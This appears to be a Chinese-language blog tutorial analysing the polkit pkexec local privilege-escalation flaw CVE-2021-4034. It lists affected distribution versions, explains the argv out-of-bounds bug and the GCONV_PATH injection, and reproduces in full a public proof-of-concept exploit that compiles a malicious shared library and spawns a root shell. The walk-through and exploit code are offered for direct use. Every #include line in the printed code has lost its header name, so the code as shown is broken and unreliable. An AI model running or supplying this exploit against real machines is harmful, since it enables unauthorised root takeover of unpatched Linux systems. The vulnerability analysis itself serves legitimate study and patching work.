漏洞描述
2022-01-25,CVE-2021-4034利用详情发布,该漏洞是Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞,允许非特权用户获取root权限。根据作者的发布文章说,在默认安装的Ubuntu、Debian、Fedora和CentOS上都已经成功复现。这个漏洞已经隐藏了12年多。
影响范围:
影响版本:由于 polkit 为系统预装工具,目前主流Linux版本均受影响。
CentOS系列:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
漏洞分析
首先找到漏洞修复前的源码,这里选了一个0.12版本的源码:https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
定位到pkexec的main()函数,在程序开头(534-568行)处理命令行参数:

然后在610行开始,会获取PROGRAM参数名称,也就是需要执行的程序。

这里有个溢出的问题,当我们执行pkexec,什么参数也不传递时,会发生以下情况:
在第 534 行,整数 n 永久设置为 1
在第 610 行,从 argv[1] 越界读取指针路径
在第 639 行,指针 s 被越界写入 argv[1]
#include
#include
int main(int argc, char **argv, char** envp)
{
printf("argv[1]:%s\n", argv[1]);
}
// b.c
#include
#include
#include
int main(int argc, char *argv[]) {
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
NULL
};
execve("./a", a_argv, a_envp);
}
漏洞利用(本地提权)
通过刚才的分析,可以看出pkexec存在溢出漏洞,允许我们导入不安全的环境变量,但是这个环境变量仅存在于639行~702行之间。
首先我们要知道pkexec是默认具有suid权限的
ls -la /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 May 26 2021 /usr/bin/pkexec
suid权限这里就不再描述了,所以我们只要利用pkexec执行命令或者执行一段代码,就可以很容易拿到root权限,完成提权。
在pkexec中多次使用了g_printerr()函数,该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。
iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。
如果我们改变了系统的GCONV_PATH环境变量,也就能改变gconv-modules配置文件的位置,从而执行一个恶意的so文件实现任意命令执行。
整个漏洞代码可以简化为如下程序:
#include
#include
int main(int argc, char **argv, char** envp)
{
gchar *path;
gchar *s;
path = g_strdup (argv[1]);
printf("path:%s\n", path);
s = g_find_program_in_path (path);
printf("s:%s\n", s);
argv[1] = path = s;
g_printerr ("Error accessing\n");
}
// 编译:
// sudo apt-get install libglib2.0-dev
// gcc `pkg-config --cflags glib-2.0` a.c `pkg-config --libs glib-2.0` -o a
可以用此程序代替pkexec触发漏洞。
具体的利用过程如下:
首先一个gconv-modules配置文件,放置在./xxx目录下,其内容指向一个准备好的恶意so文件。
创建可执行文件xxx,放置在./GCONV_PATH=.目录下,注意目录名称为GCONV_PATH=.
然后调用pkexec,argc=0,envp={"xxx","PATH=GCONV_PATH=.","LC_MESSAGES=en_US.UTF-8"}
pkexec执行到610行,path=xxx
pkexec执行到632行,找到xxx的具体位置,因为我们制定了环境变量PATH=GCONV_PATH=.,所以会找到xxx的具体位置为GCONV_PATH=./xxx
pkexec执行到636行,envp[0] = argv[1] = path= GCONV_PATH=./xxx,此时envp为{"GCONV_PATH=./xxx","PATH=GCONV_PATH=.","LC_MESSAGES=en_US.UTF-8"}
pkexec执行到643行,调用g_printerr,从而调用iconv_open()函数,找到gconv-modules配置文件:./xxx/gconv-modules,然后找到so文件,最终执行so文件。
我们只要在so文件的gonv_init()函数中,执行/bin/sh即可拿到一个root权限的shell。
下面是exp,来自https://haxx.in/files/blasty-vs-pkexec.c
/*
* blasty-vs-pkexec.c -- by blasty
* ------------------------------------------------
* PoC for CVE-2021-4034, shout out to Qualys
*
* ctf quality exploit
*
* bla bla irresponsible disclosure
*
* -- blasty // 2022-01-25
*/
#include
#include
#include
#include
#include
#include
#include
void fatal(char *f) {
perror(f);
exit(-1);
}
void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}
char so_code[]=
"#include \n"
"#include \n"
"#include \n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
fwrite(so_code, strlen(so_code), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};
printf("[~] compile helper..\n");
compile_so();
if (stat("GCONV_PATH=.", &st) < 0) {
if(mkdir("GCONV_PATH=.", 0777) < 0) {
fatal("mkdir");
}
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
if (fd < 0) {
fatal("open");
}
close(fd);
}
if (stat("lol", &st) < 0) {
if(mkdir("lol", 0777) < 0) {
fatal("mkdir");
}
FILE *fp = fopen("lol/gconv-modules", "wb");
if(fp == NULL) {
fatal("fopen");
}
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
}
printf("[~] maybe get shell now?\n");
execve("/usr/bin/pkexec", a_argv, a_envp);
}

更多教程 关注我们